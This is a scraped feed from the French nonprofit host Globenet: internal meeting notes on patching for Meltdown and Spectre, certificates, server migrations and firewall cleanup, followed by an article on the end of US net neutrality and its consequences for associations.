Commitments for Privacy </span></h3> <p>Il y a une page de wiki sur le sujet <a href="https://outils.globenet.org/wiki/asso/projets/pcp" class='spip_url spip_out' rel='external'>https://outils.globenet.org/wiki/as...</a></p> <p>C'est le travail de plusieurs collectifs d'hébergeurs militants sur la vie privée et les données personnelles pour faciliter l'information des hébergés et la mise en œuvre des mesures de protection pour les opérateurs.</p> <p>Ça prend la forme d'un label avec un certain nombre de catégories et de niveaux. Il n'y a pas de mise en œuvre chez d'autres acteurs à notre connaissance.</p> <h3><span class='h3'> Meltdown & Spectre </span></h3> <p>Christophe explique les failles avec un grand niveau de détails tout en restant accessible. Pour info : <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1272" class='spip_url spip_out' rel='external'>https://bugs.chromium.org/p/project...</a></p> <p>La plupart des machines de Globenet doivent être mises à jour, les noyaux à jour sont disponible pour toutes les distribution avec un support actif.</p> <h3><span class='h3'>Certificats SSL à Globenet</span></h3> <p>On utilise encore des wildcards Gandi payants. Voir documentation <a href="https://outils.globenet.org/wiki/tech/manuels/certificats_ssl" class='spip_url spip_out' rel='external'>https://outils.globenet.org/wiki/te...</a> Les machines concernées sont bender, robby, levant et boreal.</p> <h3><span class='h3'> Notre argent chez FDN² </span></h3> <p>Demande de récupération faite aujourd'hui, on devrait avoir des news bientôt.</p> <h3><span class='h3'> Conseil d'administration du CICP </span></h3> <p>Renouvellement des VIPs au CA. Assistance au centre social palestinien jumelé avec le CICP. Relance du projet de fibre optique.</p> <h3><span class='h3'> Serveurs hébergés </span></h3> <p><strong>Pas d'avancement sur la migration du serveur CNT</strong></p> <p>On a eu des nouvelles de l'équipe, il ne faut pas désespérer.</p> <p><strong>supervision serveur Sud Éducation</strong></p> <p>Une surveillance des machines est mise en place, avec une alerte pour l'équipe admin SudÉdu. Et une métrologie est également mise en place.</p> <p><strong>nettoyage des anciennes images de Sud</strong></p> <p>On a le feu vert pour supprimer les vieilles images des vm.</p> <p><strong>création vm Yunohost</strong></p> <p>Avec la place ainsi libérée, on a pu mettre à disposition une Ubuntu pour les besoins internes de Yunohost.</p> <p><strong>dns secondaire Propagande</strong></p> <p>Le nécessaire a été fait pour que les domaines gérés par Propagande puissent utiliser sentinelle comme serveur DNS secondaire.</p> <h3><span class='h3'> Page d'appel à dons No-log </span></h3> <p>Peut-être cassée lors d'une mise à jour du serveur ? Jacques va regarder.</p> <h3><span class='h3'> Site web </span></h3> <p>Emile a une proposition de design en gestation.</p> <p>Il y a une revue des pages à faire pour actualiser celles qui sont (trop) datées. Par exemple <a href="http://www.globenet.org/-Nos-liens-.html" class='spip_url spip_out' rel='nofollow'>http://www.globenet.org/-Nos-liens-.html</a> rien n'a l'ai à jour :)</p> <h3><span class='h3'> Migration 10G </span></h3> <p>Reste à faire : <br />• passage du réseau d'interconnexion des nodes Ganeti sur les interfaces 10G <br />• d'autres trucs ensuite</p> <p>On se donne rdv mercredi 10 pour faire la migration des nodes en 10G. On essaye de préparer en amont les manipulations à faire.</p> <h3><span class='h3'> Ganeti et les VMs </span></h3> <p>Est-ce qu'on met à jour le cluster actuel ou est-ce qu'on en fait un nouveau ? Le débat est en cours.</p> <h3><span class='h3'> NTP </span></h3> <p>Proposition de configuration de serveur NTP par Christophe : <a href="https://outils.globenet.org/wiki/tech/manuels/ntp" class='spip_url spip_out' rel='external'>https://outils.globenet.org/wiki/te...</a> Consensus pour l'installation du service sur Passoire.</p> <h3><span class='h3'> No-Log </span></h3> <p>• le webmail est sur une distribution très ancienne, ça empêche d'utiliser les mêmes outils qu'ailleurs pour créer et renouveler les certificats Let's Encryt. <br />• Jacques voit pour permettre la mise à niveau de la machine <br />• Il devrait être possible de mettre bender à jour en stretch.</p> <h3><span class='h3'> refonte de la page vlan et ip </span></h3> <p><a href="https://outils.globenet.org/wiki/tech/reseau/ip_vlan" class='spip_url spip_out' rel='external'>https://outils.globenet.org/wiki/te...</a></p> <h3><span class='h3'> RTC no-log </span></h3> <p>• Pour le RTC il y a eu des modifications à des moments dont on ne se souvient plus, il faudrait sans doute recontacter NNX pour avoir les détails.</p> <p>Globenet pourrait peut-être tenter d'être le dernier fournisseur d'accès (modem) :-).</p> <h3><span class='h3'>pare-feu</span></h3> <p>revoir la configuration <br />• supprimer les règles qui ne correspondent plus à un usage actuel (usage OUEST obsolète par ex.) <br />• proposition de mettre en place un blocage des connexions sortantes non prévues sur toutes les machines Globenet</p> 2018-01-29T21:55:58Z text/html La neutralité du net http://www.globenet.org/article392.html http://www.globenet.org/article392.html Le 14 décembre dernier, on a appris que l’agence américaine des communications mettait un terme à la neutralité du net. Conséquences ? <p>Les fournisseurs d'accès à internet (<a href="https://fr.wikipedia.org/wiki/Fournisseur_d%27acc%C3%A8s_%C3%A0_Internet" class='spip_out' rel='external'>FAI</a>) aux États-Unis auront désormais l'autorisation de transporter des contenus issus d'un service différemment de celui d'un autre. Concrètement, ça veut dire que l'utilisateur pourrait payer son service d'abonnement plus cher pour pouvoir accéder à l'ensemble des contenus du web. Mais la neutralité du net c'est aussi ce qui garantit que certains contenus ne soient pas bloqués par le FAI. Alors qu'est-ce que la neutralité du net et en quoi doit-on veiller à ce qu'elle soit préservée sur nos territoires ?</p> <p><strong>La neutralité du net, un concept récent mais un principe fondateur de l'internet.</strong></p> <p>La neutralité du net s'explique par la nature même du net : c'est un réseau de transport commun de contenus, créé sur un mode horizontal et décentralisé. Ce réseau fonctionne de la même façon quels que soient la source, le destinataire et le contenu, le transport est assuré sans discrimination.</p> <p>Mettre un terme à la neutralité, c'est un peu comme si le service de la poste décidait de ne pas acheminer certains courriers en fonction de leur contenu ou de leur destinataire.</p> <p>Au départ, la neutralité du net était implicite mais depuis les années 2000, certains comportements que ce soit de la part des entreprises FAI (offres donnant accès en zero rating à des bouquets de sites internet) ou de gouvernements (censure) ont conduit à conceptualiser ce principe soit pour le critiquer soit pour le protéger. En Europe, le principe a été reconnu et consacré dans les règlements dits « Paquet Télécom » en 2015. La reconnaissance de ce principe permet de préserver la mission démocratique d'un internet ouvert qui fait le même traitement du payant et du gratuit, de l'officiel et du dissident. Cependant c'est un principe dont le respect est fragilisé par les contours flous de sa définition et par la prérogative de censure exercée par les États. Concrètement, les fournisseurs d'accès internet, soutenus en cela par les industries culturelles créatrices de contenus, font pression sur la neutralité du net pour deux raisons principales, une technique et une économique. Les FAI invoquent la demande croissante en <a href="https://fr.wikipedia.org/wiki/Bande_passante" class='spip_out' rel='external'>bande passante</a> de la part de certains services, en particulier ceux proposant de la vidéo à la demande pour argumenter en faveur d'offres différenciées. L'idée serait surtout de développer un nouveau modèle économique, où certains seraient gagnants et d'autres perdants. En effet, le pouvoir de discriminer les services donnerait naissance à un internet à plusieurs vitesses qui privilégierait les services et applications les plus offrants.</p> <p><strong>La fin de la neutralité du net, qu'est-ce que ça peut vouloir dire pour les associations ?</strong></p> <p>Le double enjeu économique et politique permet de comprendre les conséquences potentiellement délétères de l'abrogation du principe de neutralité pour les associations. En effet, leurs moyens limités ne permettront pas forcément de pouvoir assurer leur visibilité sur internet dans le cas où elles devraient payer pour que les contenus accessibles via les sites web puissent utiliser la bande passante. Une alternative serait alors de se rendre visible et de publier via des plateformes commerciales (comme Facebook) qui pourraient décider d'autoriser la publication de certains contenus et à l'inverse d'en censurer d'autres.</p> <p>La reconnaissance du principe de la neutralité du net ne suffit pourtant pas pour garantir la portée démocratique d'internet. Par exemple au Brésil où a été votée en 2014 la loi <a href="https://fr.wikipedia.org/wiki/Marco_Civil_da_Internet" class='spip_out' rel='external'>Marco Civil da Internet</a> : ces derniers temps, la censure d'état a été relayée par des groupes de conservateurs qui s'insurgent contre certaines formes d'expression artistique et intellectuelle et utilisent internet pour ça. Au sein de l'association Intervozes par exemple, le défi est de protéger la loi Marco Civil qui risque d'être mise en cause par les conservateurs mais aussi, en parallèle, d'éduquer les citoyens à la maîtrise de l'outil informatique.</p> <p><strong>Au-delà de la neutralité</strong></p> <p>Ici à Globenet, on pense qu'il est de la plus haute importance de garantir la neutralité du net pour assurer à chacun un accès indifférencié aux connaissances et la possibilité d'exprimer toute forme d'opinions. On profite du débat sur la neutralité pour rappeler que la maîtrise des outils techniques est un enjeu majeur. Au-delà des luttes pour le contrôle du réseau côté FAI marchands ou états, les enjeux politiques liés à l'utilisation du net se trouvent aussi dans la protection des données personnelles et dans l'indépendance technique vis-à-vis de grandes entreprises numériques par l'utilisation du logiciel libre.</p> <p><a href="http://fr.wikipedia.org/wiki/Neutralité_du_réseau" class='spip_out' rel='external'>http://fr.wikipedia.org/wiki/Neutralité_du_réseau</a></p> <p><a href="https://www.ritimo.org/Neutralite-d-Internet-Ou-Internet-comme-bien-commun" class='spip_out' rel='external'>https://www.ritimo.org/Neutralite-d-Internet-Ou-Internet-comme-bien-commun</a></p> <p><a href="http://www.lepoint.fr/culture/offensive-des-censeurs-sur-la-culture-au-bresil-04-10-2017-2161887_3.php" class='spip_out' rel='external'>http://www.lepoint.fr/culture/offensive-des-censeurs-sur-la-culture-au-bresil-04-10-2017-2161887_3.php</a></p> <p><a href="https://www.lesechos.fr/27/10/2015/lesechos.fr/021434058006_neutralite-du-net---le-parlement-europeen-adopte-la-deuxieme-version-du-texte.htm" class='spip_out' rel='external'>https://www.lesechos.fr/27/10/2015/lesechos.fr/021434058006_neutralite-du-net---le-parlement-europeen-adopte-la-deuxieme-version-du-texte.htm</a></p> <p><a href="https://www.laquadrature.net/fr/nextinpact-le-bresil-sacralise-la-neutralite-du-net" class='spip_out' rel='external'>https://www.laquadrature.net/fr/nextinpact-le-bresil-sacralise-la-neutralite-du-net</a></p> <p><a href="https://www.april.org/neutralite-du-net-hegemonie-des-gafa-la-democratie-prise-dans-la-toile-france-culture" class='spip_url spip_out' rel='nofollow external'>https://www.april.org/neutralite-du...</a></p> 2018-01-09T20:05:44Z text/html